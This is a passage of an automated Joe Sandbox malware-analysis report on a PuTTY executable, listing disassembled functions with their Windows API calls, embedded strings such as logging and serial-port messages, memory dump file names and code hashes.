GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861ACA8
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861ACBB
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861ACCE
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861ACE1
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861ACF4
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861AD07
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861AD1A
GetProcAddress.KERNEL32(?,?,00000000,00000000,00007FF67861ABC2), ref: 00007FF67861AD2D

Strings

EnumPrintersA, xrefs: 00007FF67861AC97
StartPagePrinter, xrefs: 00007FF67861ACFD
EndDocPrinter, xrefs: 00007FF67861ACEA
WritePrinter, xrefs: 00007FF67861AD23
spoolss.dll, xrefs: 00007FF67861AC82
StartDocPrinterA, xrefs: 00007FF67861ACD7
EndPagePrinter, xrefs: 00007FF67861AD10
winspool.drv, xrefs: 00007FF67861AC73
OpenPrinterA, xrefs: 00007FF67861ACB1
ClosePrinter, xrefs: 00007FF67861ACC4

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: ClosePrinter$EndDocPrinter$EndPagePrinter$EnumPrintersA$OpenPrinterA$StartDocPrinterA$StartPagePrinter$WritePrinter$spoolss.dll$winspool.drv
API String ID: 2238633743-2130675966
Opcode ID: 40374bb5c3ce95447d525cfe71ef60bc5d2953ae36c32016de0dce7f197f61ea
Instruction ID: e510f940b098b52507e35c59bdaa41b3c775f5ece5acbf62ceb9ec4542277183
Opcode Fuzzy Hash: 40374bb5c3ce95447d525cfe71ef60bc5d2953ae36c32016de0dce7f197f61ea
Instruction Fuzzy Hash: BB310D26D2DB02A0FA019731F9553673FA5AF20B81F740535C44C8A3A4DFBDE945AB5C

Function 00007FF678616DD0 Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616E15
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616E42
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616E6F
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616E9C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616EC9
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616EF2
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,-00000001,-00000008,00000000,00000001,00000000,00007FF6786173AA), ref: 00007FF678616F17

Strings

SetEntriesInAclA, xrefs: 00007FF678616F10
GetTokenInformation, xrefs: 00007FF678616E95
OpenProcessToken, xrefs: 00007FF678616E68
advapi32.dll, xrefs: 00007FF678616DEF
SetSecurityInfo, xrefs: 00007FF678616E3B
InitializeSecurityDescriptor, xrefs: 00007FF678616EC2
GetSecurityInfo, xrefs: 00007FF678616E0B
SetSecurityDescriptorOwner, xrefs: 00007FF678616EEB

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc
String ID: GetSecurityInfo$GetTokenInformation$InitializeSecurityDescriptor$OpenProcessToken$SetEntriesInAclA$SetSecurityDescriptorOwner$SetSecurityInfo$advapi32.dll
API String ID: 190572456-1260934078
Opcode ID: 85342a26e3eb30e5a6748582a1d3f7838cb8d28d6283a6b5bad0e46a1c599cdf
Instruction ID: 6c1c823f5020e23e88fe4d9dd531f79b2f3d649a6cdec22aa0dc5cad4ced1636
Opcode Fuzzy Hash: 85342a26e3eb30e5a6748582a1d3f7838cb8d28d6283a6b5bad0e46a1c599cdf
Instruction Fuzzy Hash: 9841C82EE3EB43B5FA558B34A8543762EA2AF54740F740435D40DCA6A1EF2CED44BB18

Function 00007FF6785FC180 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 239COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678626500: GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00007FF6785FB996), ref: 00007FF67862651C

wcsftime.LIBCMT ref: 00007FF6785FC1E1

Strings

Incoming, xrefs: 00007FF6785FC1E8, 00007FF6785FC244
%Y-%m-%d %H:%M:%S, xrefs: 00007FF6785FC1CA
XX, xrefs: 00007FF6785FC415
(%zu byte%s omitted), xrefs: 00007FF6785FC3B5, 00007FF6785FC532
on behalf of downstream #%u, xrefs: 00007FF6785FC2A3
#0x%lx, , xrefs: 00007FF6785FC26D
%s raw data at %s, xrefs: 00007FF6785FC1FA
%08zx%*s, xrefs: 00007FF6785FC3E6
%s packet , xrefs: 00007FF6785FC256
type %d / 0x%02x (%s), xrefs: 00007FF6785FC281
Outgoing, xrefs: 00007FF6785FC1EF, 00007FF6785FC24B
%02x, xrefs: 00007FF6785FC442
(%s), xrefs: 00007FF6785FC2BA

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: LocalTimewcsftime
String ID: %08zx%*s$ (%zu byte%s omitted)$ (%s)$ on behalf of downstream #%u$#0x%lx, $%02x$%Y-%m-%d %H:%M:%S$%s packet $%s raw data at %s$Incoming$Outgoing$XX$type %d / 0x%02x (%s)
API String ID: 2400502282-2889948183
Opcode ID: af7e900566eeaab05af0dc183a8dfeaa3f51c703768e5a55bcac3d6a918a64e1
Instruction ID: c58c322ae85eded8379752c56c92c49705916aecfbdb3bd3cdee97d49b268547
Opcode Fuzzy Hash: af7e900566eeaab05af0dc183a8dfeaa3f51c703768e5a55bcac3d6a918a64e1
Instruction Fuzzy Hash: 11A1E623A2C69291FEA0DB35A4403BA6B60AF65794F701432CE4D87795EF6CDD05DB08

Function 00007FF678604E40 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

GetCommState.KERNEL32 ref: 00007FF678604E69

Strings

Configuring %s, xrefs: 00007FF678604F01
Invalid number of stop bits (need 1, 1.5 or 2), xrefs: 00007FF678604F74
Configuring baud rate %lu, xrefs: 00007FF678604E9E
Configuring %u data bits, xrefs: 00007FF678604EC6
Configuring %s flow control, xrefs: 00007FF678604FC7
Configuring %s parity, xrefs: 00007FF678604F38
Configuring serial timeouts: %s, xrefs: 00007FF678605031
Configuring serial port: %s, xrefs: 00007FF67860501B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CommState
String ID: Configuring %s$Configuring %s flow control$Configuring %s parity$Configuring %u data bits$Configuring baud rate %lu$Configuring serial port: %s$Configuring serial timeouts: %s$Invalid number of stop bits (need 1, 1.5 or 2)
API String ID: 4071006776-1037083001
Opcode ID: ff5f91483310e7e7f6c17e52eacb67a89ada3404592253e6428ea0b353a84ac3
Instruction ID: 3059e36ce92e3a4c7531540596e3a99a8362346c712782c1b11bc6d9bb3f930f
Opcode Fuzzy Hash: ff5f91483310e7e7f6c17e52eacb67a89ada3404592253e6428ea0b353a84ac3
Instruction Fuzzy Hash: 7841BE63E28646A1EE109B31D8411BB6B60FF95BC0F704131DA0EC7B9ADE2CEE41D748

Function 00007FF6785FBC70 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67869E168: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67869E19C

Part of subcall function 00007FF678626500: GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00007FF6785FB996), ref: 00007FF67862651C

wcsftime.LIBCMT ref: 00007FF6785FBD08

Strings

=~=~=~=~=~=~=~=~=~=~=~= PuTTY log %s =~=~=~=~=~=~=~=~=~=~=~=, xrefs: 00007FF6785FBD0D
ctx->state != L_OPENING, xrefs: 00007FF6785FBDE3
%Y.%m.%d %H:%M:%S, xrefs: 00007FF6785FBCF1
Disabled writing, xrefs: 00007FF6785FBD76
SSH raw data, xrefs: 00007FF6785FBD62
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/logging.c, xrefs: 00007FF6785FBDEA
Writing new, xrefs: 00007FF6785FBD92
%s session log (%s mode) to file: %s, xrefs: 00007FF6785FBDA6
Appending, xrefs: 00007FF6785FBD8B
unknown, xrefs: 00007FF6785FBD69
Error writing, xrefs: 00007FF6785FBD7D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: LocalTime_invalid_parameter_noinfowcsftime
String ID: %Y.%m.%d %H:%M:%S$%s session log (%s mode) to file: %s$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/logging.c$=~=~=~=~=~=~=~=~=~=~=~= PuTTY log %s =~=~=~=~=~=~=~=~=~=~=~=$Appending$Disabled writing$Error writing$SSH raw data$Writing new$ctx->state != L_OPENING$unknown
API String ID: 42641226-759394250
Opcode ID: d1f925c6066ddc6873973fa0135088d95ba991635fbe29c8fcac85f9a80971c2
Instruction ID: 7d18e8c7cffacc0baff5671f98f160a351a98e2088cbe4986763cf36d122260b
Opcode Fuzzy Hash: d1f925c6066ddc6873973fa0135088d95ba991635fbe29c8fcac85f9a80971c2
Instruction Fuzzy Hash: 8451AB63B28646A1FE40DB25D4552BA2B61EF84B84FB18032CE0DC7795EF3CE946D709

Function 00007FF6785D1EFB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF6785D1F36
TrackPopupMenu.USER32 ref: 00007FF6785D1F6E
ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961
DefWindowProcW.USER32 ref: 00007FF6785D3732

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Cursor$Window$InfoLongMenuMessageMonitorPopupProcSendShowTrackZoomed
String ID: (
API String ID: 1195453808-3887548279
Opcode ID: 8f86f2efebeacca7557ac59f5c2cb3069cb5cddfb4d1881aac2acef9b847a86d
Instruction ID: f517a6e74a5c9ad5cc2f5416e206c148a67db5471a23ba134d0f4b086c2aaf2a
Opcode Fuzzy Hash: 8f86f2efebeacca7557ac59f5c2cb3069cb5cddfb4d1881aac2acef9b847a86d
Instruction Fuzzy Hash: C0418033A2C68596F6609B30E4857B66BA0FF94750F640034CE4DC6695CF7CED85AB18

Function 00007FF67860EDC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 147networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FF67860EE80
inet_addr.WS2_32 ref: 00007FF67860EEAE
htonl.WS2_32 ref: 00007FF67860EEDA
gethostbyname.WS2_32 ref: 00007FF67860EF30
htonl.WS2_32 ref: 00007FF67860EF8A
WSAGetLastError.WS2_32 ref: 00007FF67860EFB5

Strings

Network is down, xrefs: 00007FF67860EFD8
Host not found, xrefs: 00007FF67860EF21
Host does not exist, xrefs: 00007FF67860EFE1

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: htonl$ErrorLastgetaddrinfogethostbynameinet_addr
String ID: Host does not exist$Host not found$Network is down
API String ID: 106626933-2906891963
Opcode ID: a468348b73b74eb220ed4a3ee69ce07d4567b72aeecd3e0c29de32f9fae1e373
Instruction ID: 33b637da019a12d7ad6db4ad563ce0795ca40699991043da8a20f2a93396b842
Opcode Fuzzy Hash: a468348b73b74eb220ed4a3ee69ce07d4567b72aeecd3e0c29de32f9fae1e373
Instruction Fuzzy Hash: 39510327A2864996FB609F35E44477B7A91EB84754F240134DA0E877D1EF7CE880A708

Function 00007FF6785FB0F0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 183comCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF6785FB1A4
CoCreateInstance.OLE32 ref: 00007FF6785FB1FC

Part of subcall function 00007FF67869E168: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67869E19C

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/jump-list.c, xrefs: 00007FF6785FB290, 00007FF6785FB340
%.*s%s, xrefs: 00007FF6785FB157
Connect to PuTTY session ', xrefs: 00007FF6785FB269
appname, xrefs: 00007FF6785FB289, 00007FF6785FB339
Run %.*s, xrefs: 00007FF6785FB2B1, 00007FF6785FB361
Pageant.exe, xrefs: 00007FF6785FB0F2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CreateFileInstanceModuleName_invalid_parameter_noinfo
String ID: %.*s%s$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/jump-list.c$Connect to PuTTY session '$Pageant.exe$Run %.*s$appname
API String ID: 3863850918-4263420936
Opcode ID: 3efb2a1c9e254bf4237273d01518b2adef5c6020e4d9115cd5eb189016053426
Instruction ID: b896d78eb1053dfb744765f72e0fe144ff82cae5b538370c99a083e7d8e7be0e
Opcode Fuzzy Hash: 3efb2a1c9e254bf4237273d01518b2adef5c6020e4d9115cd5eb189016053426
Instruction Fuzzy Hash: 0A81A123B28A42A1FE40DB36D4442BB6B91AF95BD0FA44031DD0EC7795EF3CE9059709

Function 00007FF6786A2CE8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF6786A28A0,?,?,00000000,00007FF6786A67C0,?,?,00000003,00007FF67869837D), ref: 00007FF6786A2E67
GetProcAddress.KERNEL32(?,00000000,?,00007FF6786A28A0,?,?,00000000,00007FF6786A67C0,?,?,00000003,00007FF67869837D), ref: 00007FF6786A2E73

Strings

MZx, xrefs: 00007FF6786A2D07, 00007FF6786A2DF0, 00007FF6786A2E50
ext-ms-, xrefs: 00007FF6786A2DC4
api-ms-, xrefs: 00007FF6786A2DB1

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: MZx$api-ms-$ext-ms-
API String ID: 3013587201-2431898299
Opcode ID: 588d0943e1309766ace5999e7f173c8c72f43942c2027463cc149be416f78287
Instruction ID: fe9013454fdc67f1b23fc33c41b8b242890491d087a4d832271c1451194a37c1
Opcode Fuzzy Hash: 588d0943e1309766ace5999e7f173c8c72f43942c2027463cc149be416f78287
Instruction Fuzzy Hash: 91413823B39612A1FA119B36A8546772B92BF44BE0F244539CD1DD7754EE3CEC85A308

Function 00007FF6785F9380 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 80COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32 ref: 00007FF6785F9483

Strings

pixel, xrefs: 00007FF6785F9432
Font: %s, %sdefault height, xrefs: 00007FF6785F9467
Font: %s, %s%d-%s, xrefs: 00007FF6785F9456
bold, , xrefs: 00007FF6785F941F
c && c->ctrl->type == CTRL_FONTSELECT, xrefs: 00007FF6785F93E5
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F93EC
point, xrefs: 00007FF6785F9439

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemText
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$Font: %s, %s%d-%s$Font: %s, %sdefault height$bold, $c && c->ctrl->type == CTRL_FONTSELECT$pixel$point
API String ID: 3367045223-1831221297
Opcode ID: 5a45def895cb1a708c8c6c847339d64b2b383093603e3f7d01d740163e329f99
Instruction ID: 4c3726e12be72e452641605b1626b05a25d8ba286785053c7769da2fe71172d9
Opcode Fuzzy Hash: 5a45def895cb1a708c8c6c847339d64b2b383093603e3f7d01d740163e329f99
Instruction Fuzzy Hash: B331D723E28A42A0FA50DB32D9485BA2BA1BB58BC4FB14031DD0DC7795DE3CED45D308

Function 00007FF6786B5950 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786B5E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5E45
Part of subcall function 00007FF6786B5E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5EC5
Part of subcall function 00007FF6786B5E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5F19
Part of subcall function 00007FF6786B5E04: _get_daylight.LIBCMT ref: 00007FF6786B5F71

CreateFileW.KERNEL32 ref: 00007FF6786B5A56
CreateFileW.KERNEL32 ref: 00007FF6786B5AA6
GetLastError.KERNEL32 ref: 00007FF6786B5AD6
GetFileType.KERNEL32 ref: 00007FF6786B5AEB
GetLastError.KERNEL32 ref: 00007FF6786B5AF5
CloseHandle.KERNEL32 ref: 00007FF6786B5B28
CloseHandle.KERNEL32 ref: 00007FF6786B5C8C
CreateFileW.KERNEL32 ref: 00007FF6786B5CC1
GetLastError.KERNEL32 ref: 00007FF6786B5CD0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: dfaf525e84a8964243db45ad7a08f075fd56589bf58fcb89c567e3f2566f9169
Instruction ID: cf3518d6cee85e68981d4a9e0b70a30210f2904854fc96d1d40a3dd6bcbdb599
Opcode Fuzzy Hash: dfaf525e84a8964243db45ad7a08f075fd56589bf58fcb89c567e3f2566f9169
Instruction Fuzzy Hash: B0C1B033B28A4295EB10DF75C4946AE3F61EB49BA8B210225EE1ED77D8CF38D951D304

Function 00007FF67869D1E0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869D224
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869D5FC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869D8A7

Strings

f, xrefs: 00007FF67869D346
p, xrefs: 00007FF67869D34E
0, xrefs: 00007FF67869D64C
p, xrefs: 00007FF67869D2D6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
